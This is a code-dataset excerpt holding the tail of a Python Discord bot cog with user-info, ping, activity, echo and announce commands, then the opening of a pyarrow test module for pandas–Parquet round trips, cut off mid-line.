embed.set_footer(text=f\"Made by {owner.display_name}\", icon_url=owner.avatar.url)\r\n await ctx.send(embed=embed)\r\n else:\r\n url = user.avatar.url\r\n response = requests.get(url)\r\n img = Image.open(BytesIO(response.content))\r\n color_thief = ColorThief(BytesIO(response.content))\r\n dominant_color = color_thief.get_color(quality=5)\r\n embed = discord.Embed(title=f\"{user.name}'s avatar\",\r\n color=discord.Color.from_rgb(*dominant_color))\r\n embed.set_image(url=user.avatar.url)\r\n embed.add_field(\r\n name=\"Download Links\",\r\n value=\r\n f\"[JPG]({user.avatar.with_static_format('jpg')}) | [PNG]({user.avatar.with_static_format('png')})\"\r\n )\r\n embed.set_footer(text=f\"Made by {owner.display_name}\", icon_url=owner.avatar.url)\r\n await ctx.send(embed=embed)\r\n\r\n @commands.hybrid_command(name=\"ui\", description=\"Shows useful information about a user.\")\r\n @app_commands.describe(user=\"The user who's info you want.\")\r\n async def ui(self, ctx, user: discord.Member = None):\r\n \"\"\"Shows useful information about a user.\"\"\"\r\n owner = await self.bot.fetch_user(869061991141101608)\r\n if user == None:\r\n user = ctx.author\r\n\r\n rlist = []\r\n\r\n for role in user.roles:\r\n if role.name != \"@everyone\":\r\n rlist.append(role.mention)\r\n rlist.reverse()\r\n b = \", \".join(rlist)\r\n em = discord.Embed(\r\n timestamp=datetime.now(),\r\n color=user.top_role.color\r\n )\r\n stat = user.status\r\n date = user.created_at.strftime(\"%d/%m/%Y %H:%M\")\r\n join = user.joined_at.strftime(\"%d/%m/%Y %H:%M\")\r\n em.add_field(\r\n name=\"General Information\",\r\n value=f\"Username: {user.name}#{user.discriminator}\\nUser ID: {user.id}\\nStatus: {stat.name.title()}\\nAvatar: [Click Here]({user.avatar.url})\\nDate Created: {date}\",\r\n inline=False\r\n )\r\n em.add_field(\r\n name=\"Server-Specific Information\",\r\n value=f\"Server Join Date: {join}\\nTop Role: {user.top_role.mention}\\nRoles ({len(rlist)}): {b}\"\r\n )\r\n em.set_thumbnail(url=f\"{user.avatar.url}\")\r\n em.set_author(name=f\"{user.display_name}'s User Info\", icon_url=f\"{user.avatar.url}\")\r\n em.set_footer(text=f\"Requested by {ctx.author.name} | Made by {owner.display_name}\")\r\n\r\n await ctx.send(embed=em)\r\n\r\n @commands.hybrid_command(name=\"ping\", description=\"Shows the bot's latency.\")\r\n async def ping(self, ctx):\r\n \"\"\"Shows the bot's latency.\"\"\"\r\n start_time = time.monotonic()\r\n msg = await ctx.send(\"Pinging...\")\r\n end_time = time.monotonic()\r\n latency = round((end_time - start_time) * 1000)\r\n await msg.edit(content=f\"Pong! Latency: {latency}ms\")\r\n \r\n\r\n \r\n def is_owner(interaction: discord.Interaction):\r\n if interaction.user.id == 869061991141101608:\r\n return True\r\n else:\r\n return False\r\n \r\n\r\n @app_commands.command(name=\"activity\")\r\n @app_commands.check(is_owner)\r\n @app_commands.describe(activity=\"Type of activity.\", name=\"Name of the activity.\")\r\n @app_commands.choices(\r\n activity=[\r\n discord.app_commands.Choice(\r\n name=\"Playing\",\r\n value=1\r\n ),\r\n discord.app_commands.Choice(\r\n name=\"Listening to\",\r\n value=2\r\n ),\r\n discord.app_commands.Choice(\r\n name=\"Competing in\",\r\n value=3\r\n ),\r\n discord.app_commands.Choice(\r\n name=\"Watching\",\r\n value=4\r\n ),\r\n discord.app_commands.Choice(\r\n name=\"Streaming\",\r\n value=5\r\n )\r\n ]\r\n )\r\n async def activity(self, interaction, activity: discord.app_commands.Choice[int], name:str):\r\n if activity.value == 1:\r\n await self.bot.change_presence(\r\n activity=discord.Game(name=f\"{name}\")\r\n )\r\n elif activity.value == 2:\r\n await self.bot.change_presence(\r\n activity=discord.Activity(type=discord.ActivityType.listening, name=f\"{name}\")\r\n )\r\n elif activity.value == 3:\r\n await self.bot.change_presence(\r\n activity=discord.Activity(type=discord.ActivityType.competing, name=f\"{name}\")\r\n )\r\n elif activity.value == 4:\r\n await self.bot.change_presence(\r\n activity=discord.Activity(type=discord.ActivityType.watching, name=f\"{name}\")\r\n )\r\n elif activity.value == 5:\r\n await self.bot.change_presence(\r\n activity=discord.Activity(type=discord.ActivityType.streaming, name=f\"{name}\",\r\n url=\"https://www.twitch.tv/kokohaan\"\r\n )\r\n )\r\n await interaction.response.send_message(f\"Changed activity to `{activity.name} {name}`!\", ephemeral=True)\r\n \r\n @commands.hybrid_command(name=\"echo\", description=\"Send a message in a channel anonymously.\", hidden=True)\r\n @commands.has_permissions(manage_messages=True)\r\n @app_commands.describe(channel=\"Where you want to send the message.\", message=\"What you want to send.\")\r\n async def echo(self, ctx, message: str, channel: discord.TextChannel = None):\r\n if channel is None:\r\n channel = ctx.channel\r\n await channel.send(message)\r\n await ctx.reply(\"Sent!\", ephemeral=True)\r\n\r\n\r\n @app_commands.command(name=\"announce\", description=\"Announce something.\")\r\n @app_commands.default_permissions(kick_members=True)\r\n @app_commands.describe(\r\n channel=\"Where should I announce the message?\",\r\n message=\"Text Message sent with the Embed\",\r\n title=\"Embed Title\",\r\n description=\"Embed Description\",\r\n footer_text=\"Footer Text\",\r\n timestamp=\"Current Timestamp\",\r\n color=\"Embed Color hex code (#2F3136)\",\r\n image=\"Image at the right corner. (url)\"\r\n )\r\n @app_commands.choices(timestamp=[\r\n discord.app_commands.Choice(name=\"Yes\", value=1),\r\n discord.app_commands.Choice(name=\"No\", value=2)\r\n ])\r\n async def announce(\r\n self,\r\n interaction: discord.Interaction,\r\n channel: discord.TextChannel,\r\n title: str,\r\n description: str,\r\n footer_text: str,\r\n timestamp: discord.app_commands.Choice[int],\r\n message: str = None,\r\n color: str = None,\r\n image: str = None\r\n ):\r\n em = discord.Embed(\r\n title=title,\r\n description=description,\r\n timestamp=datetime.now() if timestamp.value == 1 else None,\r\n color=discord.Color.from_rgb(47, 49, 54) if color is None else discord.Color.from_str(color)\r\n )\r\n em.set_footer(text=footer_text)\r\n if image:\r\n em.set_image(url=f\"{image}\")\r\n await interaction.response.send_message(embed=em, content=f\"Would you like to send this to {channel.mention}?\", view=view, ephemeral=True)\r\n view = Confirm()\r\n await view.wait()\r\n if view.value is None:\r\n print('Timed out')\r\n elif view.value:\r\n await interaction.followup.send(\"Sent!\")\r\n await channel.send(embed=em, content=message)\r\n else:\r\n await interaction.followup.send(\"Cancelled!\")\r\n\r\n \r\n\r\n\r\nasync def setup(bot):\r\n await bot.add_cog(Miscellaneous(bot))\r\n","repo_name":"PearlusesGitHub/Pyxis","sub_path":"cogs/miscellaneous.py","file_name":"miscellaneous.py","file_ext":"py","file_size_in_byte":10397,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"12387039067","text":"import io\nimport json\n\nimport numpy as np\nimport pytest\n\nimport pyarrow as pa\nfrom pyarrow.fs import LocalFileSystem, SubTreeFileSystem\nfrom pyarrow.tests.parquet.common import (\n parametrize_legacy_dataset, parametrize_legacy_dataset_not_supported)\nfrom pyarrow.util import guid\nfrom pyarrow.vendored.version import Version\n\ntry:\n import pyarrow.parquet as pq\n from pyarrow.tests.parquet.common import (_read_table, _test_dataframe,\n _write_table)\nexcept ImportError:\n pq = None\n\n\ntry:\n import pandas as pd\n import pandas.testing as tm\n\n from pyarrow.tests.parquet.common import (_roundtrip_pandas_dataframe,\n alltypes_sample)\nexcept ImportError:\n pd = tm = None\n\n\n# Marks all of the tests in this module\n# Ignore these with pytest ... -m 'not parquet'\npytestmark = pytest.mark.parquet\n\n\n@pytest.mark.pandas\ndef test_pandas_parquet_custom_metadata(tempdir):\n df = alltypes_sample(size=10000)\n\n filename = tempdir / 'pandas_roundtrip.parquet'\n arrow_table = pa.Table.from_pandas(df)\n assert b'pandas' in arrow_table.schema.metadata\n\n _write_table(arrow_table, filename)\n\n metadata = pq.read_metadata(filename).metadata\n assert b'pandas' in metadata\n\n js = json.loads(metadata[b'pandas'].decode('utf8'))\n assert js['index_columns'] == [{'kind': 'range',\n 'name': None,\n 'start': 0, 'stop': 10000,\n 'step': 1}]\n\n\n@pytest.mark.pandas\ndef test_merging_parquet_tables_with_different_pandas_metadata(tempdir):\n # ARROW-3728: Merging Parquet Files - Pandas Meta in Schema Mismatch\n schema = pa.schema([\n pa.field('int', pa.int16()),\n pa.field('float', pa.float32()),\n pa.field('string', pa.string())\n ])\n df1 = pd.DataFrame({\n 'int': np.arange(3, dtype=np.uint8),\n 'float': np.arange(3, dtype=np.float32),\n 'string': ['ABBA', 'EDDA', 'ACDC']\n })\n df2 = pd.DataFrame({\n 'int': [4, 5],\n 'float': [1.1, None],\n 'string': [None, None]\n })\n table1 = pa.Table.from_pandas(df1, schema=schema, preserve_index=False)\n table2 = pa.Table.from_pandas(df2, schema=schema, preserve_index=False)\n\n assert not table1.schema.equals(table2.schema, check_metadata=True)\n assert table1.schema.equals(table2.schema)\n\n writer = pq.ParquetWriter(tempdir / 'merged.parquet', schema=schema)\n writer.write_table(table1)\n writer.write_table(table2)\n\n\n@pytest.mark.pandas\n@parametrize_legacy_dataset\ndef test_pandas_parquet_column_multiindex(tempdir, use_legacy_dataset):\n df = alltypes_sample(size=10)\n df.columns = pd.MultiIndex.from_tuples(\n list(zip(df.columns, df.columns[::-1])),\n names=['level_1', 'level_2']\n )\n\n filename = tempdir / 'pandas_roundtrip.parquet'\n arrow_table = pa.Table.from_pandas(df)\n assert arrow_table.schema.pandas_metadata is not None\n\n _write_table(arrow_table, filename)\n\n table_read = pq.read_pandas(\n filename, use_legacy_dataset=use_legacy_dataset)\n df_read = table_read.to_pandas()\n tm.assert_frame_equal(df, df_read)\n\n\n@pytest.mark.pandas\n@parametrize_legacy_dataset\ndef test_pandas_parquet_2_0_roundtrip_read_pandas_no_index_written(\n tempdir, use_legacy_dataset\n):\n df = alltypes_sample(size=10000)\n\n filename = tempdir / 'pandas_roundtrip.parquet'\n arrow_table = pa.Table.from_pandas(df, preserve_index=False)\n js = arrow_table.schema.pandas_metadata\n assert not js['index_columns']\n # ARROW-2170\n # While index_columns should be empty, columns needs to be filled still.\n assert js['columns']\n\n _write_table(arrow_table, filename)\n table_read = pq.read_pandas(\n filename, use_legacy_dataset=use_legacy_dataset)\n\n js = table_read.schema.pandas_metadata\n assert not js['index_columns']\n\n read_metadata = table_read.schema.metadata\n assert arrow_table.schema.metadata == read_metadata\n\n df_read = table_read.to_pandas()\n tm.assert_frame_equal(df, df_read)\n\n\n# TODO(dataset) duplicate column selection actually gives duplicate columns now\n@pytest.mark.pandas\n@parametrize_legacy_dataset_not_supported\ndef test_pandas_column_selection(tempdir, use_legacy_dataset):\n size = 10000\n np.random.seed(0)\n df = pd.DataFrame({\n 'uint8': np.arange(size, dtype=np.uint8),\n 'uint16': np.arange(size, dtype=np.uint16)\n })\n filename = tempdir / 'pandas_roundtrip.parquet'\n arrow_table = pa.Table.from_pandas(df)\n _write_table(arrow_table, filename)\n table_read = _read_table(\n filename, columns=['uint8'], use_legacy_dataset=use_legacy_dataset)\n df_read = table_read.to_pandas()\n\n tm.assert_frame_equal(df[['uint8']], df_read)\n\n # ARROW-4267: Selection of duplicate columns still leads to these columns\n # being read uniquely.\n table_read = _read_table(\n filename, columns=['uint8', 'uint8'],\n use_legacy_dataset=use_legacy_dataset)\n df_read = table_read.to_pandas()\n\n tm.assert_frame_equal(df[['uint8']], df_read)\n\n\n@pytest.mark.pandas\n@parametrize_legacy_dataset\ndef test_pandas_parquet_native_file_roundtrip(tempdir, use_legacy_dataset):\n df = _test_dataframe(10000)\n arrow_table = pa.Table.from_pandas(df)\n imos = pa.BufferOutputStream()\n _write_table(arrow_table, imos, version='2.6')\n buf = imos.getvalue()\n reader = pa.BufferReader(buf)\n df_read = _read_table(\n reader, use_legacy_dataset=use_legacy_dataset).to_pandas()\n tm.assert_frame_equal(df, df_read)\n\n\n@pytest.mark.pandas\n@parametrize_legacy_dataset\ndef test_read_pandas_column_subset(tempdir, use_legacy_dataset):\n df = _test_dataframe(10000)\n arrow_table = pa.Table.from_pandas(df)\n imos = pa.BufferOutputStream()\n _write_table(arrow_table, imos, version='2.6')\n buf = imos.getvalue()\n reader = pa.BufferReader(buf)\n df_read = pq.read_pandas(\n reader, columns=['strings', 'uint8'],\n use_legacy_dataset=use_legacy_dataset\n ).to_pandas()\n tm.assert_frame_equal(df[['strings', 'uint8']], df_read)\n\n\n@pytest.mark.pandas\n@parametrize_legacy_dataset\ndef test_pandas_parquet_empty_roundtrip(tempdir, use_legacy_dataset):\n df = _test_dataframe(0)\n arrow_table = pa.Table.from_pandas(df)\n imos = pa.BufferOutputStream()\n _write_table(arrow_table, imos, version='2.6')\n buf = imos.getvalue()\n reader = pa.BufferReader(buf)\n df_read = _read_table(\n reader, use_legacy_dataset=use_legacy_dataset).to_pandas()\n tm.assert_frame_equal(df, df_read)\n\n\n@pytest.mark.pandas\ndef test_pandas_can_write_nested_data(tempdir):\n data = {\n \"agg_col\": [\n {\"page_type\": 1},\n {\"record_type\": 1},\n {\"non_consecutive_home\": 0},\n ],\n \"uid_first\": \"1001\"\n }\n df = pd.DataFrame(data=data)\n arrow_table = pa.Table.from_pandas(df)\n imos = pa.BufferOutputStream()\n # This succeeds under V2\n _write_table(arrow_table, imos)\n\n\n@pytest.mark.pandas\n@parametrize_legacy_dataset\ndef test_pandas_parquet_pyfile_roundtrip(tempdir, use_legacy_dataset):\n filename = tempdir / 'pandas_pyfile_roundtrip.parquet'\n size = 5\n df = pd.DataFrame({\n 'int64': np.arange(size, dtype=np.int64),\n 'float32': np.arange(size, dtype=np.float32),\n 'float64': np.arange(size, dtype=np.float64),\n 'bool': np.random.randn(size) > 0,\n 'strings': ['foo', 'bar', None, 'baz', 'qux']\n })\n\n arrow_table = pa.Table.from_pandas(df)\n\n with filename.open('wb') as f:\n _write_table(arrow_table, f, version=\"2.6\")\n\n data = io.BytesIO(filename.read_bytes())\n\n table_read = _read_table(data, use_legacy_dataset=use_legacy_dataset)\n df_read = table_read.to_pandas()\n tm.assert_frame_equal(df, df_read)\n\n\n@pytest.mark.pandas\n@parametrize_legacy_dataset\ndef test_pandas_parquet_configuration_options(tempdir, use_legacy_dataset):\n size = 10000\n np.random.seed(0)\n df = pd.DataFrame({\n 'uint8': np.arange(size, dtype=np.uint8),\n 'uint16': np.arange(size, dtype=np.uint16),\n 'uint32': np.arange(size, dtype=np.uint32),\n 'uint64': np.arange(size, dtype=np.uint64),\n 'int8': np.arange(size, dtype=np.int16),\n 'int16': np.arange(size, dtype=np.int16),\n 'int32': np.arange(size, dtype=np.int32),\n 'int64': np.arange(size, dtype=np.int64),\n 'float32': np.arange(size, dtype=np.float32),\n 'float64': np.arange(size, dtype=np.float64),\n 'bool': np.random.randn(size) > 0\n })\n filename = tempdir / 'pandas_roundtrip.parquet'\n arrow_table = pa.Table.from_pandas(df)\n\n for use_dictionary in [True, False]:\n _write_table(arrow_table, filename, version='2.6',\n use_dictionary=use_dictionary)\n table_read = _read_table(\n filename, use_legacy_dataset=use_legacy_dataset)\n df_read = table_read.to_pandas()\n tm.assert_frame_equal(df, df_read)\n\n for write_statistics in [True, False]:\n _write_table(arrow_table, filename, version='2.6',\n write_statistics=write_statistics)\n table_read = _read_table(filename,\n use_legacy_dataset=use_legacy_dataset)\n df_read = table_read.to_pandas()\n tm.assert_frame_equal(df, df_read)\n\n for compression in ['NONE', 'SNAPPY', 'GZIP', 'LZ4', 'ZSTD']:\n if (compression != 'NONE' and\n not pa.lib.Codec.is_available(compression)):\n continue\n _write_table(arrow_table, filename, version='2.6',\n compression=compression)\n table_read = _read_table(\n filename, use_legacy_dataset=use_legacy_dataset)\n df_read = table_read.to_pandas()\n tm.assert_frame_equal(df, df_read)\n\n\n@pytest.mark.pandas\n@pytest.mark.filterwarnings(\"ignore:Parquet format '2.0':FutureWarning\")\ndef test_spark_flavor_preserves_pandas_metadata():\n df = _test_dataframe(size=100)\n df.index = np.arange(0, 10 * len(df), 10)\n df.index.name = 'foo'\n\n result = _roundtrip_pandas_dataframe(df, {'version': '2.0',\n 'flavor': 'spark'})\n tm.assert_frame_equal(result, df)\n\n\n@pytest.mark.pandas\n@parametrize_legacy_dataset\ndef test_index_column_name_duplicate(tempdir, use_legacy_dataset):\n data = {\n 'close': {\n pd.Timestamp('2017-06-30 01:31:00'): 154.99958999999998,\n pd.Timestamp('2017-06-30 01:32:00'): 154.99958999999998,\n },\n 'time': {\n pd.Timestamp('2017-06-30 01:31:00'): pd.Timestamp(\n '2017-06-30 01:31:00'\n ),\n pd.Timestamp('2017-06-30 01:32:00'): pd.Timestamp(\n '2017-06-30 01:32:00'\n ),\n }\n }\n path = str(tempdir / 'data.parquet')\n\n # Pandas v2 defaults to [ns], but Arrow defaults to [us] time units\n # so we need to cast the pandas dtype. Pandas v1 will always silently\n # coerce to [ns] due to lack of non-[ns] support.\n dfx = pd.DataFrame(data, dtype='datetime64[us]').set_index('time', drop=False)\n\n tdfx = pa.Table.from_pandas(dfx)\n _write_table(tdfx, path)\n arrow_table = _read_table(path, use_legacy_dataset=use_legacy_dataset)\n result_df = arrow_table.to_pandas()\n tm.assert_frame_equal(result_df, dfx)\n\n\n@pytest.mark.pandas\n@parametrize_legacy_dataset\ndef test_multiindex_duplicate_values(tempdir, use_legacy_dataset):\n num_rows = 3\n numbers = list(range(num_rows))\n index = pd.MultiIndex.from_arrays(\n [['foo', 'foo', 'bar'], numbers],\n names=['foobar', 'some_numbers'],\n )\n\n df = pd.DataFrame({'numbers': numbers}, index=index)\n table = pa.Table.from_pandas(df)\n\n filename = tempdir / 'dup_multi_index_levels.parquet'\n\n _write_table(table, filename)\n result_table = _read_table(filename, use_legacy_dataset=use_legacy_dataset)\n assert table.equals(result_table)\n\n result_df = result_table.to_pandas()\n tm.assert_frame_equal(result_df, df)\n\n\n@pytest.mark.pandas\n@parametrize_legacy_dataset\ndef test_backwards_compatible_index_naming(datadir, use_legacy_dataset):\n expected_string = b\"\"\"\\\ncarat cut color clarity depth table price x y z\n 0.23 Ideal E SI2 61.5 55.0 326 3.95 3.98 2.43\n 0.21 Premium E SI1 59.8 61.0 326 3.89 3.84 2.31\n 0.23 Good E VS1 56.9 65.0 327 4.05 4.07 2.31\n 0.29 Premium I VS2 62.4 58.0 334 4.20 4.23 2.63\n 0.31 Good J SI2 63.3 58.0 335 4.34 4.35 2.75\n 0.24 Very Good J VVS2 62.8 57.0 336 3.94 3.96 2.48\n 0.24 Very Good I VVS1 62.3 57.0 336 3.95 3.98 2.47\n 0.26 Very Good H SI1 61.9 55.0 337 4.07 4.11 2.53\n 0.22 Fair E VS2 65.1 61.0 337 3.87 3.78 2.49\n 0.23 Very Good H VS1 59.4 61.0 338 4.00 4.05 2.39\"\"\"\n expected = pd.read_csv(io.BytesIO(expected_string), sep=r'\\s{2,}',\n index_col=None, header=0, engine='python')\n table = _read_table(\n datadir / 'v0.7.1.parquet', use_legacy_dataset=use_legacy_dataset)\n result = table.to_pandas()\n tm.assert_frame_equal(result, expected)\n\n\n@pytest.mark.pandas\n@parametrize_legacy_dataset\ndef test_backwards_compatible_index_multi_level_named(\n datadir, use_legacy_dataset\n):\n expected_string = b\"\"\"\\\ncarat cut color clarity depth table price x y z\n 0.23 Ideal E SI2 61.5 55.0 326 3.95 3.98 2.43\n 0.21 Premium E SI1 59.8 61.0 326 3.89 3.84 2.31\n 0.23 Good E VS1 56.9 65.0 327 4.05 4.07 2.31\n 0.29 Premium I VS2 62.4 58.0 334 4.20 4.23 2.63\n 0.31 Good J SI2 63.3 58.0 335 4.34 4.35 2.75\n 0.24 Very Good J VVS2 62.8 57.0 336 3.94 3.96 2.48\n 0.24 Very Good I VVS1 62.3 57.0 336 3.95 3.98 2.47\n 0.26 Very Good H SI1 61.9 55.0 337 4.07 4.11 2.53\n 0.22 Fair E VS2 65.1 61.0 337 3.87 3.78 2.49\n 0.23 Very Good H VS1 59.4 61.0 338 4.00 4.05 2.39\"\"\"\n expected = pd.read_csv(\n io.BytesIO(expected_string), sep=r'\\s{2,}',\n index_col=['cut', 'color', 'clarity'],\n header=0, engine='python'\n ).sort_index()\n\n table = _read_table(datadir / 'v0.7.1.all-named-index.parquet',\n use_legacy_dataset=use_legacy_dataset)\n result = table.to_pandas()\n tm.assert_frame_equal(result, expected)\n\n\n@pytest.mark.pandas\n@parametrize_legacy_dataset\ndef test_backwards_compatible_index_multi_level_some_named(\n datadir, use_legacy_dataset\n):\n expected_string = b\"\"\"\\\ncarat cut color clarity depth table price x y z\n 0.23 Ideal E SI2 61.5 55.0 326 3.95 3.98 2.43\n 0.21 Premium E SI1 59.8 61.0 326 3.89 3.84 2.31\n 0.23 Good E VS1 56.9 65.0 327 4.05 4.07 2.31\n 0.29 Premium I VS2 62.4 58.0 334 4.20 4.23 2.63\n 0.31 Good J SI2 63.3 58.0 335 4.34 4.35 2.75\n 0.24 Very Good J VVS2 62.8 57.0 336 3.94 3.96 2.48\n 0.24 Very Good I VVS1 62.3 57.0 336 3.95 3.98 2.47\n 0.26 Very Good H SI1 61.9 55.0 337 4.07 4.11 2.53\n 0.22 Fair E VS2 65.1 61.0 337 3.87 3.78 2.49\n 0.23 Very Good H VS1 59.4 61.0 338 4.00 4.05 2.39\"\"\"\n expected = pd.read_csv(\n io.BytesIO(expected_string),\n sep=r'\\s{2,}', index_col=['cut', 'color', 'clarity'],\n header=0, engine='python'\n ).sort_index()\n expected.index = expected.index.set_names(['cut', None, 'clarity'])\n\n table = _read_table(datadir / 'v0.7.1.some-named-index.parquet',\n use_legacy_dataset=use_legacy_dataset)\n result = table.to_pandas()\n tm.assert_frame_equal(result, expected)\n\n\n@pytest.mark.pandas\n@parametrize_legacy_dataset\ndef test_backwards_compatible_column_metadata_handling(\n datadir, use_legacy_dataset\n):\n expected = pd.DataFrame(\n {'a': [1, 2, 3], 'b': [.1, .2, .3],\n 'c': pd.date_range(\"2017-01-01\", periods=3, tz='Europe/Brussels')})\n expected.index = pd.MultiIndex.from_arrays(\n [['a', 'b', 'c'],\n pd.date_range(\"2017-01-01\", periods=3, tz='Europe/Brussels')],\n names=['index', None])\n\n path = datadir / 'v0.7.1.column-metadata-handling.parquet'\n table = _read_table(path, use_legacy_dataset=use_legacy_dataset)\n result = table.to_pandas()\n tm.assert_frame_equal(result, expected)\n\n table = _read_table(\n path, columns=['a'], use_legacy_dataset=use_legacy_dataset)\n result = table.to_pandas()\n tm.assert_frame_equal(result, expected[['a']].reset_index(drop=True))\n\n\n@pytest.mark.pandas\n@parametrize_legacy_dataset\ndef test_categorical_index_survives_roundtrip(use_legacy_dataset):\n # ARROW-3652, addressed by ARROW-3246\n df = pd.DataFrame([['a', 'b'], ['c', 'd']], columns=['c1', 'c2'])\n df['c1'] = df['c1'].astype('category')\n df = df.set_index(['c1'])\n\n table = pa.Table.from_pandas(df)\n bos = pa.BufferOutputStream()\n pq.write_table(table, bos)\n ref_df = pq.read_pandas(\n bos.getvalue(), use_legacy_dataset=use_legacy_dataset).to_pandas()\n assert isinstance(ref_df.index, pd.CategoricalIndex)\n assert ref_df.index.equals(df.index)\n\n\n@pytest.mark.pandas\n@parametrize_legacy_dataset\ndef test_categorical_order_survives_roundtrip(use_legacy_dataset):\n # ARROW-6302\n df = pd.DataFrame({\"a\": pd.Categorical(\n [\"a\", \"b\", \"c\", \"a\"], categories=[\"b\", \"c\", \"d\"], ordered=True)})\n\n table = pa.Table.from_pandas(df)\n bos = pa.BufferOutputStream()\n pq.write_table(table, bos)\n\n contents = bos.getvalue()\n result = pq.read_pandas(\n contents, use_legacy_dataset=use_legacy_dataset).to_pandas()\n\n tm.assert_frame_equal(result, df)\n\n\n@pytest.mark.pandas\n@parametrize_legacy_dataset\ndef test_pandas_categorical_na_type_row_groups(use_legacy_dataset):\n # ARROW-5085\n df = pd.DataFrame({\"col\": [None] * 100, \"int\": [1.0] * 100})\n df_category = df.astype({\"col\": \"category\", \"int\": \"category\"})\n table = pa.Table.from_pandas(df)\n table_cat = pa.Table.from_pandas(df_category)\n buf = pa.BufferOutputStream()\n\n # it works\n pq.write_table(table_cat, buf, version='2.6', chunk_size=10)\n result = pq.read_table(\n buf.getvalue(), use_legacy_dataset=use_legacy_dataset)\n\n # Result is non-categorical\n assert result[0].equals(table[0])\n assert result[1].equals(table[1])\n\n\n@pytest.mark.pandas\n@parametrize_legacy_dataset\ndef test_pandas_categorical_roundtrip(use_legacy_dataset):\n # ARROW-5480, this was enabled by ARROW-3246\n\n # Have one of the categories unobserved and include a null (-1)\n codes = np.array([2, 0, 0, 2, 0, -1, 2], dtype='int32')\n categories = ['foo', 'bar', 'baz']\n df = pd.DataFrame({'x': pd.Categorical.from_codes(\n codes, categories=categories)})\n\n buf = pa.BufferOutputStream()\n pq.write_table(pa.table(df), buf)\n\n result = pq.read_table(\n buf.getvalue(), use_legacy_dataset=use_legacy_dataset).to_pandas()\n assert result.x.dtype == 'category'\n assert (result.x.cat.categories == categories).all()\n tm.assert_frame_equal(result, df)\n\n\n@pytest.mark.pandas\ndef test_categories_with_string_pyarrow_dtype(tempdir):\n # gh-33727: writing to parquet should not fail\n if Version(pd.__version__) < Version(\"1.3.0\"):\n pytest.skip(\"PyArrow backed string data type introduced in pandas 1.3.0\")\n\n df1 = pd.DataFrame({\"x\": [\"foo\", \"bar\", \"foo\"]}, dtype=\"string[pyarrow]\")\n df1 = df1.astype(\"category\")\n\n df2 = pd.DataFrame({\"x\": [\"foo\", \"bar\", \"foo\"]})\n df2 = df2.astype(\"category\")\n\n # categories should be converted to pa.Array\n assert pa.array(df1[\"x\"]) == pa.array(df2[\"x\"])\n assert pa.array(df1[\"x\"].cat.categories.values) == pa.array(\n df2[\"x\"].cat.categories.values)\n\n path = str(tempdir / 'cat.parquet')\n pq.write_table(pa.table(df1), path)\n result = pq.read_table(path).to_pandas()\n\n tm.assert_frame_equal(result, df2)\n\n\n@pytest.mark.pandas\n@parametrize_legacy_dataset\ndef test_write_to_dataset_pandas_preserve_extensiondtypes(\n tempdir, use_legacy_dataset\n):\n df = pd.DataFrame({'part': 'a', \"col\": [1, 2, 3]})\n df['col'] = df['col'].astype(\"Int64\")\n table = pa.table(df)\n\n pq.write_to_dataset(\n table, str(tempdir / \"case1\"), partition_cols=['part'],\n use_legacy_dataset=use_legacy_dataset\n )\n result = pq.read_table(\n str(tempdir / \"case1\"), use_legacy_dataset=use_legacy_dataset\n ).to_pandas()\n tm.assert_frame_equal(result[[\"col\"]], df[[\"col\"]])\n\n pq.write_to_dataset(\n table, str(tempdir / \"case2\"), use_legacy_dataset=use_legacy_dataset\n )\n result = pq.read_table(\n str(tempdir / \"case2\"), use_legacy_dataset=use_legacy_dataset\n ).to_pandas()\n tm.assert_frame_equal(result[[\"col\"]], df[[\"col\"]])\n\n pq.write_table(table, str(tempdir / \"data.parquet\"))\n result = pq.read_table(\n str(tempdir / \"data.parquet\"), use_legacy_dataset=use_legacy_dataset\n ).to_pandas()\n tm.assert_frame_equal(result[[\"col\"]], df[[\"col\"]])\n\n\n@pytest.mark.pandas\n@parametrize_legacy_dataset\ndef test_write_to_dataset_pandas_preserve_index(tempdir, use_legacy_dataset):\n # ARROW-8251 - preserve pandas index in roundtrip\n\n df = pd.DataFrame({'part': ['a', 'a', 'b'], \"col\": [1, 2, 3]})\n df.index = pd.Index(['a', 'b', 'c'], name=\"idx\")\n table = pa.table(df)\n df_cat = df[[\"col\", \"part\"]].copy()\n df_cat[\"part\"] = df_cat[\"part\"].astype(\"category\")\n\n pq.write_to_dataset(\n table, str(tempdir / \"case1\"), partition_cols=['part'],\n use_legacy_dataset=use_legacy_dataset\n )\n result = pq.read_table(\n str(tempdir / \"case1\"), use_legacy_dataset=use_legacy_dataset\n ).to_pandas()\n tm.assert_frame_equal(result, df_cat)\n\n pq.write_to_dataset(\n table, str(tempdir / \"case2\"), use_legacy_dataset=use_legacy_dataset\n )\n result = pq.read_table(\n str(tempdir / \"case2\"), use_legacy_dataset=use_legacy_dataset\n ).to_pandas()\n tm.assert_frame_equal(result, df)\n\n pq.write_table(table, str(tempdir / \"data.parquet\"))\n result = pq.read_table(\n str(tempdir / \"data.parquet\"), use_legacy_dataset=use_legacy_dataset\n ).to_pandas()\n tm.assert_frame_equal(result, df)\n\n\n@pytest.mark.pandas\n@parametrize_legacy_dataset\n@pytest.mark.parametrize('preserve_index', [True, False, None])\n@pytest.mark.parametrize('metadata_fname', [\"_metadata\", \"_common_metadata\"])\ndef test_dataset_read_pandas_common_metadata(\n tempdir, use_legacy_dataset, preserve_index, metadata_fname\n):\n # ARROW-1103\n nfiles = 5\n size = 5\n\n dirpath = tempdir / guid()\n dirpath.mkdir()\n\n test_data = []\n frames = []\n paths = []\n for i in range(nfiles):\n df = _test_dataframe(size, seed=i)\n df.index = pd.Index(\n np.arange(i * size, (i + 1) * size, dtype=\"int64\"), name='index'\n )\n\n path = dirpath / '{}.parquet'.format(i)\n\n table = pa.Table.from_pandas(df, preserve_index=preserve_index)\n\n # Obliterate metadata\n table = table.replace_schema_metadata(None)\n assert table.schema.metadata is None\n\n _write_table(table, path)\n test_data.append(table)\n frames.append(df)\n paths.append(path)\n\n # Write _metadata common file\n table_for_metadata = pa.Table.from_pandas(\n df, preserve_index=preserve_index\n )\n pq.write_metadata(table_for_metadata.schema, dirpath / metadata_fname)\n\n dataset = pq.ParquetDataset(dirpath, use_legacy_dataset=use_legacy_dataset)\n columns = ['uint8', 'strings']\n result = dataset.read_pandas(columns=columns).to_pandas()\n expected = pd.concat([x[columns] for x in frames])\n expected.index.name = (\n df.index.name if preserve_index is not False else None)\n tm.assert_frame_equal(result, expected)\n\n\n@pytest.mark.pandas\ndef test_read_pandas_passthrough_keywords(tempdir):\n # ARROW-11464 - previously not all keywords were passed through (such as\n # the filesystem keyword)\n df = 